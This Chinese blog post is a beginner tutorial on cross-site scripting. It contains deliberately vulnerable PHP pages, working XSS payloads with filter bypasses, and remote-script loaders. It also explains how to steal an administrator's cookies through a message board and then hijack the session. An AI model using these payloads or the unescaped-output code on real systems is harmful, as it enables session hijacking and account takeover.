`
weitao1026
  • 浏览: 1048593 次
  • 性别: Icon_minigender_1
  • 来自: 上海
社区版块
存档分类
最新评论

XSS的原理分析与解剖

 
阅读更多

xss是一门又热门又不太受重视的Web攻击手法,为什么会这样呢,原因有下:耗时间、有一定几率不成功、没有相应的软件来完成自动化攻击、是一种被动的攻击手法等。

 

《xss攻击手法》一开始在互联网上资料并不多(都是现成的代码,没有从基础的开始),直到刺的《白帽子讲WEB安全》和cn4rry的《XSS跨站脚本攻击剖析与防御》才开始好转。

我这里就不说什么xss的历史什么东西了,xss是一门又热门又不太受重视的Web攻击手法,为什么会这样呢,原因有下:

1、耗时间
2、有一定几率不成功
3、没有相应的软件来完成自动化攻击
4、前期需要基本的html、js功底,后期需要扎实的html、js、actionscript2/3.0等语言的功底
5、是一种被动的攻击手法
6、对website有http-only、crossdomian.xml没有用

但是这些并没有影响黑客对此漏洞的偏爱,原因不需要多,只需要一个。

Xss几乎每个网站都存在,google、baidu、360等都存在。

0×02 原理:

首先我们现在本地搭建个PHP环境(可以使用phpstudy安装包安装),然后在index.php文件里写入如下代码:

  1. <html> 
  2. <head> 
  3. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
  4. <title>XSS原理重现</title> 
  5. </head> 
  6. <body> 
  7. <form action="" method="get"> 
  8. <input type="text" name="xss_input"> 
  9. <input type="submit"> 
  10. </form> 
  11. <hr> 
  12. <?php 
  13. $xss = $_GET['xss_input'];  
  14. echo '你输入的字符为<br>'.$xss;  
  15. ?> 
  16. </body> 
  17. </html> 
  18.  

然后,你会在页面看到这样的页面

XSS的原理分析与解剖

我们试着输入abcd123,得到的结果为

XSS的原理分析与解剖

我们在看看源代码

XSS的原理分析与解剖

我们输入的字符串被原封不动的输出来了,那这里我们提出来一个假设,假设我们在搜索框输入下面的代码会出现什么呢?

  1. <script>alert('xss')</script> 

如果按照上面的例子来说,它应该存在第12行的[br]与[/boby]>之间,变成:

  1. <br><script>alert('xss')</script></boby> 

之后,应该会弹出对话框。

既然假设提出来,那我们来实现下这个假设成不成立吧。

我们输入

  1. <script>alert('xss')</script> 

得到的页面为

XSS的原理分析与解剖

成功弹窗,这个时候基本上就可以确定存在xss漏洞。

我们在看看源代码

XSS的原理分析与解剖

看来,我们的假设成功了,这节就说说XSS的原理,下面几节说说xss的构造和利用。

 

0×03 xss利用输出的环境来构造代码 :

上节说了xss的原理,但是我们的输出点不一在[ br ]和[ /boby ]里,可以出现在html标签的属性里,或者其他标签里面。所以这节很重要,因为不一定 当你输入下面代码就会出现弹窗。 

  1. <script>alert('xss')</script> 

先贴出代码:

  1. <html> 
  2. <head> 
  3. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
  4. <title>XSS利用输出的环境来构造代码</title> 
  5. </head> 
  6. <body> 
  7. <center> 
  8. <h6>把我们输入的字符串 输出到input里的value属性里</h6> 
  9. <form action="" method="get"> 
  10. <h6>请输入你想显现的字符串</h6> 
  11. <input type="text" name="xss_input_value" value="输入"><br> 
  12. <input type="submit"> 
  13. </form> 
  14. <hr> 
  15. <?php 
  16. $xss = $_GET['xss_input_value'];  
  17. if(isset($xss)){  
  18. echo '<input type="text" value="'.$xss.'">';  
  19. }else{  
  20. echo '<input type="type" value="输出">';  
  21. }  
  22. ?> 
  23. </center> 
  24. </body> 
  25. </html> 

下面是代码的页面

XSS的原理分析与解剖

这段代码的作用是把第一个输入框的字符串,输出到第二个输入框,我们输入1,那么第二个input里的value值就是1,下面是页面的截图和源代码的截图(这里我输入下面的代码来测试)

  1. <script>alert('xss')</script> 

XSS的原理分析与解剖 

XSS的原理分析与解剖

明显的可以看到,并没有弹出对话框,大家可能会疑惑为什么没有弹窗呢,我们来看看源代码

XSS的原理分析与解剖

我们看到我们输入的字符串被输出到第15行input标签里的value属性里面,被当成value里的值来显现出来,所以并没有弹窗,这时候我们该怎么办呢?聪明的人已经发现了可以在

  1. <script>alert(&#039;xss&#039;)</script> 

前面加个">来闭合input标签。所以应该得到的结果为

XSS的原理分析与解剖

成功弹窗了,我们在看看这时的页面

XSS的原理分析与解剖

看到后面有第二个input输入框后面跟有">字符串,为什么会这样呢,我们来看看源代码

XSS的原理分析与解剖

这时可以看到我们构造的代码里面有两个">,第一个">是为了闭合input标签,所以第二个">就被抛弃了,因为html的容错性高,所以并没有像php那样出现错误,而是直接把多余的字符串来输出了,有的人是个完美主义者,不喜欢有多余的字符串被输出,这时该怎么办呢?

这里我问大家一个问题,我之前说的xss代码里,为什么全是带有标签的。难道就不能不带标签么?!答:当然可以。既然可以不用标签,那我们就用标签里的属性来构造XSS,这样的话,xss代码又少,又不会有多余的字符串被输出来。

还是这个环境,但是不能使用标签,你应该怎么做。想想input里有什么属性可以调用js,html学的好的人,应该知道了,on事件,对的。我们可以用on事件来进行弹窗,比如这个xss代码 我们可以写成

  1. onclick="alert(&#039;xss&#039;)  

这时,我们在来试试,页面会发生什么样的变化吧。

XSS的原理分析与解剖

没有看到弹窗啊,失败了么?答案当然是错误的,因为onclick是鼠标点击事件,也就是说当你的鼠标点击第二个input输入框的时候,就会触发onclick事件,然后执行alert(&#039;xss&#039;)代码。我们来试试看

XSS的原理分析与解剖

当我点击后,就出现了弹窗,这时我们来看看源代码吧

XSS的原理分析与解剖

第15行,value值为空,当鼠标点击时,就会弹出对话框。这里可能就会有人问了,如果要点击才会触发,那不是很麻烦么,成功率不就又下降了么。我来帮你解答这个问题,on事件不止onclick这一个,还有很多,如果你想不需要用户完成什么动作就可以触发的话,i可以把onclick改成

Onmousemove 当鼠标移动就触发

Onload 当页面加载完成后触发

还有很多,我这里就不一一说明了,有兴趣的朋友可以自行查询下。

别以为就这样结束了,还有一类环境不能用上述的方法,

那就是如果在[ textarea ]标签里呢?!或者其他优先级比script高的呢?

就下面这样

XSS的原理分析与解剖

这时我们该怎么办呢?既然前面都说了闭合属性和闭合标签了,那能不能闭合完整的标签呢,答案是肯定的。我们可以输入下面的代码就可以实现弹窗了。

  1. </textarea><script>alert('xss')</script> 

 

0×04 过滤的解决办法

假如说网站禁止过滤了script 这时该怎么办呢,记住一句话,这是我总结出来的“xss就是在页面执行你想要的js”不用管那么多,只要能运行我们的js就OK,比如用img标签或者a标签。我们可以这样写

  1. <img scr=1 onerror=alert('xss')>当找不到图片名为1的文件时,执行alert('xss')  
  2. <a href=javascrip:alert('xss')>s</a> 点击s时运行alert('xss')  
  3. <iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe的scr来弹窗  
  4. <img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>过滤了alert来执行弹窗   

等等有很多的方法,不要把思想总局限于一种上面,记住一句话“xss就是在页面执行你想要的js”其他的管他去。(当然有的时候还有管他…)

0×05 xss的利用

说了那么多,大家可能都以为xss就是弹窗,其实错了,弹窗只是测试xss的存在性和使用性。

这时我们要插入js代码了,怎么插呢?

你可以这样

  1. <script scr="js_url"></script> 

也可以这样

  1. <img src=x onerror=appendChild(createElement('script')).src='js_url' /> 

各种姿势,各种插,只要鞥运行我们的js就OK。那运行我们的js有什么用呢?

Js可以干很多的事,可以获取cookies(对http-only没用)、控制用户的动作(发帖、私信什么的)等等。

比如我们在网站的留言区输入下面的代码:

  1. <script scr="js_url"></script> 

当管理员进后台浏览留言的时候,就会触发,然后管理员的cookies和后台地址还有管理员浏览器版本等等你都可以获取到了,再用“桂林老兵cookie欺骗工具”来更改你的cookies,就可以不用输入账号 密码 验证码 就可以以管理员的方式来进行登录了。

至于不会js的怎么写js代码呢,放心网上有很多xss平台,百度一下就可以看到了。页面是傻瓜式的操作,这里就不再过多的说明了。

有兴趣的朋友,下面是cn4rry给我的几个xss平台,大家可以自己钻研与研究,也可以自己搭建

http://pan.baidu.com/s/1ntqOp4X

在发布此文章的时候,我特地和cn4rry谈了一下,得到的结果是,我会继续写这个系列的。当我把这个doc发给cn4rry的时候,他就直接来句“嗯 写的比较基础”,我本来的打算是写一个xss入门的就可以了,我只是感觉 现在网上的文章从简单开始介绍xss的比较少,都是在书里有

所以 我想在网上把他讲的细点 xss入门就可以了,后面的路 就可以自己摸索了

但是和他谈过后,感觉还是要继续写下去,因为“xss盲打”“xss编码绕过”“fuzzing xss”等等,如果是自己慢慢琢磨的话,需要较长的时间,所以我打算每过一段时间就会推出下一个xss的文章,写个系列出来。

 

分享到:
评论

相关推荐

    XSS的原理分析与解剖.pdf

    XSS的原理分析与解剖

    XSS的原理分析与解剖.doc

    XSS的原理分析与解剖.doc

    第五期月刊—进击的XSS.pdf

    XSS的原理分析与解剖 XSS 的原理分析与解剖(第二篇 XSS 的原理分析与解剖:第三章(技巧篇) XSS 的原理分析与解剖:第四章(编码与绕过) XSS通关小游戏以及我的挑战思路分享 WEB 安全系列之如何挖掘 XSS 漏洞 XSS...

    xss基本原理分析

    DOM型XSS与前两种不同,它不涉及服务器的交互,而是利用了JavaScript的DOM(Document Object Model)特性。攻击者可以通过修改页面的DOM结构,导致JavaScript引擎执行恶意代码。这种类型的XSS通常源于开发者对用户...

    前端顽疾--XSS漏洞分析与解决.ppt

    前端顽疾--XSS 漏洞分析与解决 一、前端顽疾--XSS 漏洞分析 XSS 漏洞是一种常见的前端安全问题,指的是攻击者在 Web 应用程序中注入恶意脚本,以欺骗用户或窃取用户信息。XSS 漏洞的危害非常高,黑客可以通过 XSS ...

    XSS防护:XSS攻击原理与类型.docx

    XSS防护:XSS攻击原理与类型.docx

    XSS跨站脚本攻击剖析与防御.pdf

    XSS跨站脚本攻击剖析与防御》是一本专门剖析XSS安全的专业书,总共8章,主要包括的内容如下。第1章 XSS初探,主要阐述了XSS的基础知识,包括XSS的攻击原理和危害。第2章 XSS利用方式,就当前比较流行的XSS利用方式做...

    XSS的攻击 与防范

    XSS的攻击与防范 XSS的攻击与防范

    XSS跨站脚本攻击剖析与防御

    XSS跨站脚本攻击剖析与防御是一本专门剖析XSS安全的专业书,总共8章,主要包括的内容如下。第1章 XSS初探,主要阐述了XSS的基础知识,包括XSS的攻击原理和危害。第2章 XSS利用方式,就当前比较流行的XSS利用方式做了...

    关于pdf文件xss攻击问题,配置xssFilter方法

    PDF文件XSS攻击问题主要指的是攻击者通过构造恶意的PDF文档,利用其中的脚本语言功能,尝试在用户的浏览器上执行跨站脚本攻击(XSS)。这种攻击方式可能导致敏感信息泄露、用户权限滥用或其他安全风险。在SpringBoot...

    XSS漏洞攻击与防护源代码

    XSS(Cross-site scripting)是一种常见的网络安全漏洞,它允许攻击者在受害者的浏览器上执行恶意脚本。这种攻击通常发生在Web应用中,攻击者通过注入恶意脚本到网页上,当用户浏览这些被篡改的页面时,恶意脚本会在...

    XSS跨站脚本gj剖析与防御.pdf

    《XSS跨站脚本攻击剖析与防御》,完整版本。作者:邱永华,出版社:人民邮电出版社,ISBN:9787115311047,PDF 格式,扫描版,大小 67MB。本资源带有PDF书签,方便读者朋友阅读。 内容简介: 《XSS跨站脚本攻击剖析...

    xss特殊字符拦截与过滤

    标题《xss特殊字符拦截与过滤》以及描述《滤除content中的危险HTML代码,主要是脚本代码,滚动字幕代码以及脚本事件处理代码》提示我们这个文件内容是关于XSS(跨站脚本攻击)防护的编程实现。XSS攻击是指攻击者通过...

    XSS攻击实例1

    在本实例"XSS攻击实例1"中,我们将探讨这种攻击的原理、类型以及如何在Asp.net框架下预防。 XSS攻击主要分为三类:反射型XSS、存储型XSS和DOM型XSS。反射型XSS是通过诱使用户点击含有恶意参数的链接,将脚本插入到...

    最新完善版XSS平台源码 【40多个模块】,xss源码下载,PHP

    对于想要学习XSS安全的开发者,这个源码提供了实践平台,能够更好地理解XSS攻击的原理,从而在自己的代码中有效防止此类攻击。开发者可以通过分析这些模块,了解攻击链路,提高对XSS漏洞的敏感度。 此外,该平台...

    XSS漏洞扫描 XSS漏洞扫描

    这种XSS与前两种不同,它不依赖服务器的响应,而是利用JavaScript的DOM(Document Object Model)解析漏洞。攻击者可以通过改变DOM中的数据来执行恶意脚本,即使服务器返回的数据经过了过滤,也可能发生这种情况。...

    完善版XSS平台源码 【40多个模块】,xss源码下载,PHP源码.zip.zip

    3. **DOM型XSS**:DOM型XSS与前两者不同,它不涉及服务器,而是由于网页的DOM(Document Object Model)处理不当导致的。攻击者可以通过修改DOM元素中的属性值来注入恶意脚本。 4. **XSS过滤与编码绕过**:这些模块...

    预防XSS攻击和SQL注入XssFilter

    一、什么是XSS攻击 XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如...

Global site tag (gtag.js) - Google Analytics